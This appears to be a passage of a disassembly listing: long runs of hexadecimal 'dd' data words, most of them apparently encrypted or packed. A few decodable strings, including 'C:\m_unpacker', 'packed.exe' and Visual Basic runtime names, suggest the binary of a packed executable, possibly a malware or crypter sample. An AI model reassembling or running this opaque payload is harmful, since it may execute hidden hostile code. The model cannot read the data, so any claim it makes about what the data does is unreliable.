		dd 0FDF1F5B0h, 52E19C16h, 2F72011Eh, 363785D8h,	6F8EFB51h
		dd 0B010BEF0h, 1950C57h, 480B329Eh, 0C66A7714h,	700F9AC8h
		dd 1B81EAF0h, 9C349BE8h, 228ECA91h, 73B3EF28h, 0C8490E4h
		dd 0E41EBA01h, 0BDB5DD9Ch, 0CC88DFA2h, 9446B531h, 6C83F760h
		dd 5678E6EAh, 8EB0AE32h, 0D33306Bh, 0C64E1C5Ah,	0F8000007h
		dd 0C26668FAh, 5A9A1BDh, 53F7DB89h, 983C1250h, 0F2054D1Dh
		dd 11514C18h, 491B9539h, 82E0DD01h, 0BAA8284Ch,	0AE2A7D94h
		dd 88EC309Fh, 0BD1FA7C6h, 0E951273Dh, 1A5A7CEEh, 22247B82h
		dd 0B9EEC09Eh, 12A9841Bh, 6768EE95h, 527EB5FBh,	7713D6ABh
		dd 0E8CE5D0Ah, 4A8CD38Ch, 0E0CE2146h, 806408B8h, 15126604h
		dd 92D0D086h, 9CB241DEh, 86EA7878h, 0B017168Eh,	93AA267Dh
		dd 0C27713EFh, 0E6F3DD95h, 776CFA24h, 3DBD85D8h, 0B8F3327h
		dd 67F2706Eh, 0BCAE2911h, 46A2798Ah, 446244E6h
		dd 725h, 0C70B595Bh, 0E401EA3h,	5A7CEAEAh, 0ABAFB336h
		dd 0F4DA8807h, 0C03F8743h, 8E08ACA2h, 5556FADCh, 1D9DC109h
		dd 0A7E21347h, 0EC301429h, 0A23C4D88h, 5B07884Eh, 0BD871F17h
		dd 3289243Eh, 12AACB86h, 20F49A95h, 5E0BD280h, 0EA6C33CEh
		dd 325678E6h, 0A7FCB0AEh, 8276A1h, 288E97CFh, 0D6ADB028h
		dd 7D004C83h, 2477132Dh, 2969472Bh, 3E6CE4CEh, 86F03921h
		dd 0FF39E64Ch, 6A821h, 86DCDE00h, 0B7AB2C50h, 0E17F7FA3h
		dd 1C4645E9h, 4B17963Ah, 4E16F007h, 9B3F134Fh, 0E70B4F1Dh
		dd 325678E6h, 779EB0AEh, 3399A410h, 0A1D888ECh,	0F8A4E19h
		dd 988AEBF4h, 0B5351951h, 6161C9AFh, 0E8BAAD03h, 0ED737729h
		dd 0AACF9CE5h, 7CD2572h, 39000000h, 2B0C7h, 7B4E2F00h
		dd 6195A824h, 93CC8EFBh, 0FB6188B5h, 387EE98Eh,	0FBCE9414h
		dd 0A50B5957h, 0A6AEF0C6h, 7C582F2Eh, 9512AB6Dh, 386F63FCh
		dd 0D7D6D7E5h, 0EB8F7713h, 373478E6h, 6E72D698h, 0D7E19C38h
		dd 0CA7A7713h, 859EA83Ah, 8C0D2161h, 0F685E2D6h, 0B22D155Bh
		dd 185C0A8Bh, 0DB6F450Bh, 0FB733403h, 0F6C2196Ch, 771344F7h
		dd 0D5F9B1AEh, 0A5F8059Dh, 0FA8CDD17h, 62660A6Ch, 0D89CC2C7h
		dd 5A21BC4Bh, 686EF4F4h, 0DA9EC4C4h, 85EB7776h,	0B11419B1h
		dd 8DD5D47Ah, 58763827h, 66DCA04Ch, 9F94CA85h, 42E0351Ch
		dd 5A74664h, 0DBD90000h, 9C1D4189h, 706C90C6h, 39B8DCF2h
		dd 2FD2129h, 0FDD96E60h, 223436B1h, 6C6200FEh, 0BB9FCBC8h
		dd 85CD9317h, 0EE9F3D6Ch, 0B788EC32h, 3DBD2CB6h, 0EDC39F1Ch
		dd 61631AB6h, 25328EFBh, 8DB5FB96h, 0CE70570Dh,	76DC90CEh
		dd 2BABAC4h, 442AB911h,	0C4452102h, 745A0888h, 72C4400Dh
		dd 0C3A25h, 4EAA0000h, 11590988h, 13757h, 3DBDBF00h, 5BFE2327h
		dd 0D91FF275h, 5280Bh, 65C5E00h, 372BACD0h, 61FFFF23h
		dd 9CC6C569h, 0CB9716BAh, 0CE967087h, 1BBF93CFh, 678BCF9Dh
		dd 0B2D6F866h, 0F71E302Eh, 32192490h, 215888ECh, 0C884E99h
		dd 7B1E8367h, 0AE3D7286h, 3BC73F2Ah, 39712CAAh,	0E9CF9515h
		dd 5C234141h, 76DF9FAh,	17105618h, 6E098EB0h, 0AEBDF36Fh
		dd 4A065D13h, 8EFB59B3h, 90E675E2h, 387B958h, 56FA6866h
		dd 66EC5116h, 0ACA23171h, 72A888D5h, 0D7225h, 0C7F20000h
		dd 0A0h, 9AC72Fh, 912F0000h, 2391F4F9h,	9512AB36h, 1E552827h
		dd 13D78BB2h, 0D57DEA77h, 0E1278BD9h, 0ADF0FD95h, 0E4D4772Fh
		dd 0CFF36C6Ch, 0E64D11DCh, 6A510F69h, 1C000004h, 6E92C49Eh
		dd 0B9DDF569h, 872B2F3Dh, 0D4785E04h, 0E4189D9h, 5D0D88D4h
		dd 95D7D175h, 0CE9C19BDh, 0FE646488h, 0E2EEB9D8h, 88EC35DBh
		dd 915BE39Ah, 0A991F4F9h, 0F774382Ah, 17606C83h, 42950CAFh
		dd 0C884E15h, 2327785Eh, 0BB420EA4h, 0FA7715D3h, 8D9ADE6Dh
		dd 0D3FF8B25h, 64647715h, 38B4D8FEh, 298462Ah, 8C000004h
		dd 5909884Eh, 0D2A21413h, 606C333Ah, 9512AB71h,	350177E0h
		dd 8FCD909Dh, 6CE4D497h, 125053F7h, 8DE9C15Eh, 11C5ECD2h
		dd 7ABCE64Dh, 3D0ACh, 5E048600h, 8FD3D478h, 0B9A7274Bh
		dd 0F46E6D91h, 233FBEE2h, 763E982Fh, 43E7EB77h,	8F332745h
		dd 0DA7E500Eh, 2F4688D6h, 34A15C78h, 49F088ECh,	5D7B4EF1h
		dd 8EFB61A0h, 0CCF266F1h, 0C85EBA6Ah, 4DC54D25h, 8E5F7D40h
		dd 0EC951251h, 0B5FD696Ah, 97BB0E59h, 0D0764D13h, 452296D4h
		dd 70D6496Dh, 98BCF270h, 0EE664A18h, 0A4107776h, 6CFB1926h
		dd 81491C4Bh, 0CB6F6301h, 8FC299C7h, 29093CC1h,	84EA657Dh
		dd 535AF242h, 0E4DC400Ch, 4A0566DEh, 36994714h,	1ECC2AE0h
		dd 335h, 0D7FB696Bh, 1E302EB3h,	6A6CFAFAh, 0BB9FC3C6h
		dd 84CA9817h, 0D0CF9773h, 9E18BC92h, 65668ACCh,	2DADD1F9h
		dd 97F22337h, 0EC340439h, 922C5D88h, 0E1EF3DBDh, 8EFB61DCh
		dd 793FCA85h, 0BF93D1D1h, 0CB9E9F37h, 0C87CD8Dh, 0EFC59295h
		dd 701796B8h, 1458F773h, 4475A317h, 0C57715BBh,	0E875E4A5h
		dd 0D21F615Ch, 20h, 0F4F99152h,	85532391h, 0D780950Ch
		dd 0BA0633E1h, 0E7877715h, 61AAB726h, 901F61h, 14000001h
		dd 9F1C3DBDh, 0E37EEDC3h, 0F02AA58Dh, 0FB6139C4h, 3131B08Eh
		dd 0B5A2EC7Bh, 22495C1Fh, 4EDD4D16h, 9CC2C66Ah,	0F27070D8h
		dd 0F62CABAFh, 0FB0223DAh, 56E5728Eh, 9AD0562h,	0FB06806Fh
		dd 0B397EA8Eh, 6A13312Fh, 4B8EFB3Fh, 0F2F65A1Ch, 0FA33196Ch
		dd 2F1888D8h, 9FC3E7CBh, 3ECF8D1Bh, 678EFB3Ah, 1F175DE8h
		dd 1F238687h, 6301FD9Ch, 2F831E0Dh, 329FA5F8h, 8DD9DA6Fh
		dd 462E87C7h, 2DE24670h, 2433950Ch, 1A2AA232h, 937BDB7Fh
		dd 0F37171C0h, 8413AEBDh, 0FF769321h, 8476CE0h,	6B128DB5h
		dd 9AC8C46Dh, 2FBA49D6h, 6C3BF458h, 8C81D5CBh, 6362862Ah
		dd 9206C307h, 6147E651h, 1EC43h, 4220A200h, 7BE7E80Ch
		dd 0B5B33357h, 0E87A799Dh, 274342E6h, 7A429C33h, 47EBEF7Bh
		dd 93371B49h, 0DE025412h, 235284DAh, 36556864h,	7D0C88ECh
		dd 2042BDE5h, 58068A2Eh, 0A0C23D05h, 917AEACEh,	0A991F4F9h
		dd 257A3C2Eh, 0C85DF97h, 45BF495h, 0CDA3BFC2h, 81D6185Eh
		dd 0BD7F0E4Ah, 0EBEE7715h, 64220177h, 182987EBh, 997715BDh
		dd 9BBF0081h, 4634917h,	0A3175352h, 61631522h, 0DB071Fh
		dd 0BD7F0000h, 0FE40273Dh, 0EBEF63FFh, 4E203F75h, 0C5A52008h
		dd 1196B8EFh, 61363785h, 0F06F8EFBh, 5E100F65h,	0FB659370h
		dd 0B4AA2E8Eh, 2C7A7EA2h, 49A9DA0h, 0FC8BC471h,	1924BCB8h
		dd 90327642h, 0F4636AF3h, 0F3FA92E2h, 0E16020ACh, 0E6716CE1h
		dd 1940BF83h, 7DEACE9Ch, 93B7E8EEh, 3519510Fh, 0A95460BAh
		dd 87D2023h, 23043997h,	25D7D20h, 0EDE6D877h, 0A8E6509Eh
		dd 0EF904Eh, 23A10000h,	0E4E50941h, 0B834587Eh,	8100A4AAh
		dd 4A45E9E1h, 45813618h, 0EAEC7E79h, 341A4846h,	3571390h
		dd 4D85DBDFh, 56576524h, 0F88EC39h, 42BDE47Eh, 61D1ECE8h
		dd 0D7808EFBh, 0E0DD6538h, 79312E82h, 7BB13155h, 0FB61A05Dh
		dd 0FF8ECA8Eh, 0A68EFB61h, 0DA7EE9A9h, 0E94CA0AEh, 2D25B0C4h
		dd 273DBDB5h, 0B9341A51h, 1264C3A9h, 507CAA2Eh,	8EFB61ADh
		dd 8ACC5BF4h, 0F4CBD24Ah, 12A99ED8h, 0B66CD095h, 4DDBB8C5h
		dd 0C4F9D7AAh, 9D77133Bh, 0D780ECC2h, 1039B9E1h, 809FD595h
		dd 39B9DDF5h, 5B57452Bh, 1E42F080h, 4D4D0F8Eh, 1B9FC317h
		dd 0C8CB6F45h, 1E6ED69Ah, 0E80ACE7Fh, 5B8E8647h, 40088964h
		dd 0DBFC208Ch, 192E6575h, 0B3077C44h, 3F9D0B8Fh, 43316B0Eh
		dd 656DF857h, 0CDA3C1C1h, 0C1Fh, 8A4E0700h, 528949EDh
		dd 8D5D1530h, 253FBD75h, 79E7EB4Fh, 0D08E0F33h,	283AB49Ch
		dd 81E1DC44h, 0DA88072Bh, 332FB296h, 8BD9D57Dh,	0E67C7D25h
		dd 0EC815492h, 4, 68242C89h, 15DAh, 57241C89h, 0C781E789h
		dd 4, 4EF81h, 3C870000h, 0C895C24h, 3708BB24h, 0DBF77094h
		dd 7126BD55h, 0EB0150A6h, 96F3815Dh, 54E60570h,	81240C8Bh
		dd 4C4h, 48786800h, 3C890000h, 89DF8924h, 0FF5F0879h, 83592434h
		dd 1C8B04C4h, 0E0895024h, 405h,	4C08300h, 5C240487h, 0FAEE13E9h
		dd 4A67F0FFh, 175930B8h, 0FFC50306h, 23087E0h, 0C16786Bh
		dd 5570D15Ch, 107F7320h, 2883315Ch, 89DAF667h, 4AD18A25h
		dd 8344D355h, 0EE17C562h, 0AF670F65h, 0D59D9B5Dh, 835D7730h
		dd 5197A939h
		dd 7954C045h, 3E760F60h, 0BA6A6C13h, 0C3FC217h,	35F4CB35h
		dd 75B40E51h, 3515B638h, 0E9099203h, 0F55FF06Ah, 0BF6A6351h
		dd 27EFC18h, 9013BE50h,	0AFB60566h, 471A3212h, 268D0250h
		dd 6B53AC2Ah, 10E81Dh, 36A30000h, 0C120698Eh, 0B111A38Ch
		dd 0B9487115h, 3CBF8C09h, 5A12DF58h, 1AF78166h,	0A8C281F6h
		dd 0E8000070h, 0Bh, 7832EB3Bh, 0C74F99D2h, 0BF529DACh
		dd 6FB96CC8h, 0E9C92B5Fh, 7, 0A3867FADh, 8B2C7F53h, 0FE90A04h
		dd 32000000h, 0CA64B211h, 0DD788360h, 2F6A767Fh, 0E8811FBAh
		dd 3E1242E1h, 9BA7C081h, 81F96C76h, 75438DF0h, 89F28B5Fh
		dd 0F8530A04h, 850F535Eh, 4, 450DBB66h,	4E9835Fh, 76FABB66h
		dd 900CF981h, 850FFFFFh, 15h, 0E9F9BF0Fh, 1Ah, 6D85E878h
		dd 3E0423DFh, 0E75DB30Eh, 94E9F99Eh, 0D4FFFFFFh, 8722CA5Eh
		dd 0FE8A660h, 20000000h, 0EC7E4A68h, 48D83B0Dh,	3F93FC26h
		dd 8B609D77h, 11E9F1h, 0A2210000h, 75C4BDFBh, 3CFCA92Bh
		dd 159F7ECFh, 61B50FFFh, 0CDC3815Bh, 0E800006Dh, 8, 62BA485Ch
		dd 0D42B8AFEh, 0DE9h, 9C7B1900h, 0F6B5DEBBh, 732A6376h
		dd 335AA740h, 8BD78BC0h, 0F50030Ch, 586h, 0F7816600h, 815ECCF0h
		dd 5BC2BDE9h, 45C1813Ah, 60220015h, 87C18161h, 8924E16Fh
		dd 0E952030Ch, 7, 7462880Ch, 5E2DFF03h,	0C1816660h, 0DA8BBC9Ah
		dd 1E88361h, 0AE8h, 0DA9C4C00h,	29BC7D12h, 0FC0BC9Eh, 68Fh
		dd 5AC28100h, 5F36A3BCh, 80484848h, 0F8816CF2h,	0FFFF92F4h
		dd 0FF91850Fh, 0D18BFFFFh, 176E9h, 87A5A400h, 0E705C503h
		dd 5C3A4377h, 6E755F6Dh, 6B636170h, 70007265h, 656B6361h
		dd 78652E64h, 65h, 3Ah dup(0)
		dd 61433300h, 746F6E6Eh, 6E696620h, 25272064h, 202E2773h
		dd 61656C50h, 202C6573h, 692D6572h, 6174736Eh, 74206C6Ch
		dd 20736968h, 6C707061h, 74616369h, 6E6F69h, 6E756854h
		dd 614D5452h, 5F006E69h, 6162765Fh, 54726156h, 654E7473h
		dd 6 dup(0)
		dd 0E9000000h, 1D21h, 175F1A68h, 20C9E906h, 2A68FFFAh
		dd 0E9061760h, 0FFFA20BFh, 17612F68h, 20B5E906h, 0EB68FFFAh
		dd 0E9061761h, 0FFFA20ABh, 17623768h, 20A1E906h, 568FFFAh
		dd 0E9061763h, 0FFFA2097h, 17635868h, 208DE906h, 0AE68FFFAh
		dd 0E9061763h, 0FFFA2083h, 176B8C68h, 2079E906h, 2768FFFAh
		dd 0E906176Ch, 0FFFA206Fh, 176CF568h, 2065E906h, 0E668FFFAh
		dd 0E906176Dh, 0FFFA205Bh, 176E5868h, 2051E906h, 1368FFFAh
		dd 0E906176Fh, 0FFFA2047h, 17700468h, 203DE906h, 9C68FFFAh
		dd 0E9061770h, 0FFFA2033h, 17772868h, 2029E906h, 7568FFFAh
		dd 0E9061778h, 0FFFA201Fh, 17791D68h, 2015E906h, 0BDABFFFAh
		dd 9D4ADCB2h, 0FB6ABC92h, 0DD049EF4h, 3E2A7CD2h, 23C85B31h
		dd 137976F2h, 0F45A5591h, 0D8BEB1B2h, 0BD939C4Eh, 0E210077Bh
		dd 61C97F2Fh, 8143F034h, 0A18FD61Eh, 0C8ACAAA5h, 38C5733Eh
		dd 276D62DCh, 8EFAAE0Ah, 0A7124689h, 0F3A48D5h,	2F43FD00h
		dd 0AEA97480h, 0C985077Ch, 0A27B74F6h, 18E5EA5Ah, 0CCEE79AFh
		dd 0F0101385h, 0CAAEA1A2h, 0DC6E7C40h, 203209h,	0B4DA0000h
		dd 0C748386Ch, 0D5A7B150h, 0C306E715h, 0C985690Fh, 2739CA5Eh
		dd 9DCCB1Fh, 0D453h, 8143F900h,	2934D28Eh, 0C54D0257h
		dd 98656ADAh, 97462A58h, 39A954Dh, 50000F39h, 0B0906C2h
		dd 11F4FF37h, 77264ABDh, 0E7AC332Dh, 9F5484B8h,	4CF359D7h
		dd 0CF9600E6h, 0EC63AE98h, 0CF95F83Eh, 9E9153C5h, 0A9CF260h
		dd 1936D7D8h, 98BFEBBFh, 0D5A715B3h, 3E5404B0h,	79E70609h
		dd 46A2CF31h, 38FBFD0h,	1894C985h, 3F72728h, 0F00CC985h
		dd 43FC1642h, 0B7D8244Ch, 0CF98B5ACh, 3D5703B1h, 7679EE05h
		dd 0DC3692F8h, 0AD936A65h, 0A4AB9FC5h, 4D458055h, 9F4B9089h
		dd 1A94h, 0AEE4EB59h, 8AC0CF74h, 6C222D18h, 4A000F3Ah
		dd 316768D8h, 0A49C4DF6h, 8343E5ABh, 0E35CC68Ch, 0C27CA6ECh
		dd 0FD0D87CDh, 7F2DAC5Ah, 0BAEABBC9h, 0C2888743h, 0A3E9E660h
		dd 26296529h, 0CF968CF8h, 9CB9F10Fh, 505F8434h,	3565934Dh
		dd 0A7B12D22h, 1FFF19D5h, 59898EA9h, 0EEC984F2h, 0CF1FB452h
		dd 6D0BA4CCh, 9FD30148h, 885D9C1Ah, 0C591164Eh,	5C4D957h
		dd 0C9854AD1h, 9B7B8C1Ch, 7E11DC09h, 0C9854AD0h, 0C7ABD957h
		dd 0DCAD4145h, 0C03109h, 43DF0000h, 257F8E81h, 0B7EB323Dh
		dd 2B4A5D7Bh, 968215D1h, 9658D101h, 56DA56CFh, 965C89F1h
		dd 4649FBCFh, 0BF549610h, 0C57B828Dh, 3F99B657h, 0B1C33F6Bh
		dd 0E4EB5AB1h, 0C1A99776h, 0A779F95Eh, 0A5A6FED5h, 7FED53AAh
		dd 0C4907819h, 0E678394h, 0B0CCCF99h, 29B6B2C0h, 8EEC2DBFh
		dd 717EE9F4h, 8806B4ACh, 9F4AD8h, 0E1DE51DDh, 0D45CCA43h
		dd 0FFF070B2h, 4DC9D722h, 6CDA2389h, 1984h, 9EF4FB69h
		dd 7AD0DF04h, 5C323D28h, 3A101FCAh, 217778E8h, 0B4AC5D86h
		dd 9353D5BBh, 0F36CB69Ch, 0D20C96FCh, 0CD3D77DDh, 7F2C9C4Ah
		dd 8AFAABC9h, 0D8888743h, 8AD2B13Eh, 91992FA2h,	40B356Fh
		dd 8143FC4Eh, 3B257F8Eh, 0D5335E34h, 55BED181h,	9D5A7B7h
		dd 0A74649FBh, 0AAC6F1B9h, 6242F453h, 1D93C985h, 0C130140Ah
		dd 0D77E09DCh, 0
		dd 6A9343D4h, 6490C985h, 0EC533F66h, 0A5CD06CEh, 84479057h
		dd 1738683Ch, 0D5A793B4h, 0B1BEA8FAh, 0F7A2DEF9h, 202E8060h
		dd 0DF1BE59Eh, 0A02A719h, 5E8C8371h, 0E5FD0AABh, 0FFABD957h
		dd 1BBB7758h, 0CDD06C03h, 888743D1h, 8AA7CB75h,	0F40E7A2Eh
		dd 0D22E424Dh, 0DED10C66h, 357311CFh, 0A6A3E6A6h, 0BAEF50D8h
		dd 0BF0110F9h, 72E55101h, 0FD0819C4h, 0E2633543h, 482010EDh
		dd 6B64E63Ch, 9541913Fh, 3CDEFFBAh, 56901274h, 0BD674859h
		dd 0BE8F5BC1h, 187F88h,	0F9F66C00h, 0DDD21193h,	3F302D77h
		dd 151ACF59h, 727DE53Fh, 0B3628B1Ch, 50D2B8B7h,	73B59B94h
		dd 0F99FFF0h, 3A7CD2DDh, 2BA151C6h, 0EDA6C97Fh,	8E8143BFh
		dd 0A2F6D27Fh, 0B77661F6h, 0CD7BD5A7h, 47903587h, 38683C84h
		dd 8C9B4BCCh, 1CA8CF96h, 8467E814h, 99D5A793h, 0D0913F6Bh
		dd 8CC0EBADh, 0D8252A1Fh, 7B86EA18h, 0AE5B18D4h, 37634D50h
		dd 4EF50F7Bh, 0A5062941h, 0BA546DC5h, 7652FF0Eh, 241C7622h
		dd 0ABACD22Bh, 486DB47Bh, 0AACE7C88h, 2984395Eh, 0DC364E82h
		dd 0A8076B64h, 14D62C1Ch, 0CBD5351Bh, 5E8223A9h, 89BBCD3Ch
		dd 0B6B0F286h, 100D68B9h, 44990873h, 17C396h, 0B5BAA800h
		dd 919E45DFh, 0F3FC69BBh, 0D1DE0B9Dh, 3639297Bh, 0EF1EC760h
		dd 841E747Bh, 0A7015758h, 43E5ABA4h, 4EC88E81h,	2BED1D32h
		dd 297AC97Fh, 0DA0F65FBh, 813F3031h, 6289BBE9h,	211FEEE1h
		dd 7D2966B3h, 4499894Fh, 177796h, 0C1CE7400h, 252A198Bh
		dd 708356Fh, 1D12D751h,	7A75ED37h, 0BB6A9314h, 58CA808Fh
		dd 7BADE3ECh, 1791C7C8h, 2274DAD5h, 2A9949CEh, 0F5AEC97Fh
		dd 8E8143B7h, 898640D2h, 0BD1BC8E1h, 5196B9E9h,	45D5A7AEh
		dd 6BD80609h, 0D16FC985h, 0DEBC9D33h, 0B5FD35FEh, 0ADA8EE1Ah
		dd 0DE8A5619h, 7D0AED62h, 364CCF96h, 58773B34h,	0AD527C2Ch
		dd 98AA4E2Eh, 5DFC0961h, 6C3ECAFBh, 9AD6826Eh, 0FEDA12F5h
		dd 4991738h, 5758841Eh,	0F5FA6EB6h, 0F6BA2828h,	79297D5Bh
		dd 90BED10Dh, 9634DCBFh, 85D33DD8h, 0EB190628h,	37EDA087h
		dd 7E8A3AF1h, 9A71F002h, 0E35DA0AFh, 0B3C13D75h, 0B0C2BEB1h
		dd 90F6BAB5h, 0CEDBD416h, 15E2C0DBh, 0A9A89E6Fh, 46000016h
		dd 5FC98F80h, 77B1E7E8h, 1193F9F6h, 2F79DFD0h, 0C55E343Bh
		dd 7E71F120h, 515E8E18h, 0B1BEA9FBh, 909F49DBh,	0F0078BAh
		dd 0C97F29DFh, 0BEFD2F64h, 0CF968C90h, 969CEB1Fh, 8C46F8CFh
		dd 0A155CF96h, 0D3CF968Ch, 8A831E11h, 12894F7Dh, 16561DC9h
		dd 2D1B0000h, 0D3A6C22h, 6BDA4C02h, 4DF42E64h, 0AE9A0C42h
		dd 93B8EBA1h, 0A3E9E662h, 84CAC501h, 682E2122h,	4D030C3Eh
		dd 72A0B7CBh, 0F1C97F29h, 7B6560A4h, 5EE33348h,	0C8650DCCh
		dd 989750E0h, 26545B8Eh, 0C6D2E56Ah, 1997D5A6h,	5EB6F588h
		dd 0E3C018Fh, 1600h, 127877EDh,	0F65C5390h, 0D8BEB1ACh
		dd 0BE949B4Eh, 9DF3FC64h, 3030E10Ah, 1FCF593Fh,	7FE83A10h
		dd 5E881A70h, 41B9FB51h, 7F2A20CEh, 3E6E27C9h, 0FD6A8143h
		dd 0C2DBD416h, 231DE01Eh, 39A9551h, 0A1F3AFDDh,	0ED53AAA5h
		dd 5E88D485h, 287E4C51h, 0EB3D011Fh, 46750FCDh,	1B000000h
		dd 62857B65h, 0E1933AA6h, 0D874A689h, 3ED8CF95h, 4B967ED5h
		dd 6AB8F0BCh, 0FAA1F7F8h, 0CFF1F4C7h, 34334131h, 0F4A856F9h
		dd 1BFCF3Ah, 0A2D60A93h, 156E5F8Bh, 91E30000h, 90405D52h
		dd 0D1730AF2h, 0A0C83BE3h, 8E81432Ah, 0DFA034D2h, 4C588689h
		dd 51EFCF96h, 34C5F7B3h, 58A0AD7Ch, 0B4E05C0Ch,	95D573A3h
		dd 0CF44F0CFh, 0CF95D61Fh, 0B7D88824h, 0CF95D587h, 0FC08609Ch
		dd 13C35480h, 43CF95D6h, 95D61ECCh, 889725CFh, 0F413347Ch
		dd 71D5A6D6h, 0C47D97C3h, 6A0E32CBh, 4F8B5504h,	0A2B51184h
		dd 0C9851B74h, 0F44745F3h, 979F786h, 8D8247DDh,	87A8C070h
		dd 0CF9640DCh, 0D67D361h, 9851D9D6h, 0C88E81BCh, 963870A3h
		dd 4C4380CFh, 0A503F21Ch, 328889E8h, 598E187Eh,	0F66DB756h
		dd 1D4B24F9h, 1817CC0Ah, 6669DA28h, 8E81BD87h, 8AF61810h
		dd 0D409395Eh, 0E21ECF95h, 4F5E5190h, 0AB939991h, 0E70FCD56h
		dd 2C2h, 97414FBBh, 12438487h, 0D9639338h, 54E0CF95h, 0F30A05C2h
		dd 0B4D7254Dh, 3A48386Ch, 126E020Dh, 9C934CA6h,	0F45BDF01h
		dd 0D5A7B803h, 12BCEC18h, 0AC23D4B8h, 2DB5FD4h,	4B44861Ch
		dd 4946FD27h, 0C19FF19h, 0A4E15BC2h, 0E957B6B9h, 57D1377Bh
		dd 0CB0E9F90h, 0C9858B17h, 9751D286h, 58F95F50h, 0E3742470h
		dd 0CF969D4Ch, 3A029B29h, 0B751010Eh, 4379A132h, 0CE3078A2h
		dd 2A252072h, 2B241C46h, 0AC577D2h, 3C2FCF96h, 5192EA33h
		dd 3C534F5Eh, 0CF960B0Eh, 166AE715h, 151ACB0Dh,	97DA4888h
		dd 4CA646C1h, 4D979B94h, 54B49A95h, 0AC77718h, 0F15DCF96h
		dd 963E0A6Bh, 0C1061E3Dh, 93013FCEh, 256B29Fh, 2AA2C156h
		dd 6987D5A7h, 919E4894h, 0F0FF69BBh, 13C35480h,	43C98528h
		dd 85281ECCh, 889725C9h, 42E85E7Ch, 9428D773h, 43D1CD9Ch
		dd 0F6F96883h, 0F7BB2917h, 8572A250h, 6669D4C9h, 8C83BD87h
		dd 0F9645F71h, 0DFD8EC7h, 597B8C9Ch, 2E186A10h,	0C64DC21h
		dd 5BA949DAh, 0D818E5EAh, 3BD01250h, 0A7FD000Fh, 1331AFA0h
		dd 0D5CE41ADh, 0C2880621h, 0BCECE360h, 4B1FCF40h, 9651C985h
		dd 2A4EFA99h, 353A2973h, 3EC91FE8h, 0E444BF8h, 0DCAD784Ch
		dd 0C73609h, 43C60000h,	9758887h, 0A1A348FBh, 73ED30AEh
		dd 727DE53Fh, 7D86C2ABh, 0AC7079Dh, 968CD505h, 0A82652CFh
		dd 0A9A6A2C0h, 0EBA599E3h, 0AAE60FCDh, 969475A5h, 4B4487CFh
		dd 606FD44Ch, 8649BEF2h, 17000000h, 0F86A8143h,	0BC2A16F7h
		dd 0C2933D61h, 669DE95Bh, 0DE085ADEh, 0D31361D1h, 0BF8554DCh
		dd 277D808Fh, 6ED22B24h, 0DA232C14h, 0DAF80B5Dh, 0BC7A8DDBh
		dd 0F7F86982h, 0D6BC2A16h, 0CDECB094h, 43FE0Fh,	658E0000h
		dd 3031DA0Fh, 4CE9813Fh, 14403064h, 8C87B7D8h, 609CCF96h
		dd 0B5EAA662h, 101898A3h, 0A726902Fh, 866795D5h, 85238F43h
		dd 0B94ADEC9h, 0DC829FA7h, 9F4AD809h, 57C5CA74h, 91E68AB6h
		dd 0A2h, 386CB43Fh, 0ACACC748h,	0E4E2D5A7h, 0A3B46435h
		dd 0C984B773h, 184644F0h, 0C0EF838Ah, 0D41369B4h, 343375DBh
		dd 0D27305ABh, 5F811C13h, 0F98D12B1h, 0FD6AB24Bh, 12D12BF2h
		dd 0D5434CF9h, 7877ECC8h, 57D080A5h, 0CF58B075h, 7FD5DA09h
		dd 9240D703h, 91C984DEh, 390D0F63h, 7909DC41h, 3Ch, 3A6EB407h
		dd 8CF9C94Eh, 70CE4F96h, 968E2FDFh, 0AB8344Fh, 8EA254F3h
		dd 552B4F96h, 5307E3D2h, 8EA270E7h, 13A1CF96h, 0B2B7CD3Dh
		dd 8C2AD87Fh, 8B39CF96h, 721151Dh, 4B000000h, 40ADh, 8243FF00h
		dd 3F24708Dh, 35324030h, 357DE33Ah, 9D9251D3h, 6AF41200h
		dd 0A5BA411Eh, 0EFE2CCA1h, 0B8365785h, 0CF7F45F0h, 558B121Dh
		dd 0CE03C627h, 0E1CF9644h, 92AAB44Fh, 0DCF03258h, 0C09h
		dd 3C68B46Ch, 0C12F66E1h, 267A5941h, 0DF3B031Dh, 3E778666h
		dd 5000000h, 0D0DF0F65h, 4317FD58h, 8CD20017h, 0F002CF96h
		dd 0A4AB9873h, 169D736h, 44831A96h, 790A5A38h, 38C5CA7Ah
		dd 588F64DCh, 0EFC4D957h, 0C58CAEB9h, 0F6CED053h, 0B8A6BE22h
		dd 291h, 0AC68B440h, 79377CB4h,	4A34A25Ah, 81431A8Ah, 2064DC8Eh
		dd 0CDE3B39Bh, 0A88A1412h, 59440312h, 4D1C7307h, 0AC000000h
		dd 69DB2965h, 8C41F166h, 0AAC6CF96h
		dd 0DD896BC6h, 0AF296563h, 0F6760C59h, 1E3C24F9h, 31798CD2h
		dd 961FDD0Eh, 67E331CFh, 19970068h, 8D09AF29h, 0D2865992h
		dd 0EB8F8040h, 43276591h, 7BD38D82h, 36AD09h, 0A3F10000h
		dd 0B6C4ACA3h, 423C68B4h, 8C41F265h, 23ECF96h, 26296558h
		dd 0CF968CF8h, 9DBD610Fh, 9B9BB07Eh, 8DF9056Dh,	10103E51h
		dd 9917CF96h, 82437B91h, 97BD38Dh, 0FCF4B7BEh, 98BFEB03h
		dd 9B30246Ah, 0FD274BF9h, 0A2044A45h, 919E4BA0h, 4080D863h
		dd 9AD6FC4Fh, 24F9292Eh, 0F20E9B30h, 19DF68BEh,	7B9B02Fh
		dd 0B47DF7E2h, 0F394B06h, 0C3B65000h, 0BA1CA8C4h, 7BF06B0Fh
		dd 2926261Ch, 575888D4h, 1C2779B6h, 0E86669DAh,	30F671A7h
		dd 0A654FB36h, 0BD9B2FE1h, 4CA0910Fh, 7A429D92h, 74F103CEh
		dd 0FABEA27Bh, 2FE1A255h, 0B609A79Bh, 0BF798A9Ch, 1FCF408Dh
		dd 249B2FE2h, 0D52F1A88h, 929B626Dh, 36392A0Eh,	5B548DD7h
		dd 0C1CE7A42h, 91F043Ch, 0DDABDCFEh, 5B548C4Ah,	0BEB1B3F5h
		dd 0F9EF5B2Dh, 9B2FE146h, 4C12ADDBh, 3D2FE97Ah,	0ED1B14D6h
		dd 0E9E660BCh, 83B7DD56h, 761DD847h, 823EC90Eh,	0B7B38914h
		dd 70EEE15Ch, 4FD888ADh, 2324746Dh, 0BEB1B1C3h,	2629156Fh
		dd 87EB19C7h, 0BDECE35Dh, 51EAE567h, 8BD4DB0Fh,	9CB3EF43h
		dd 9B301C6Eh, 0FD3347F5h, 0C50C8A6Ah, 0C82626E4h, 774924B5h
		dd 2250C0EBh, 252A144Eh, 81433074h, 0F65DC8Eh, 0CC5FD3DCh
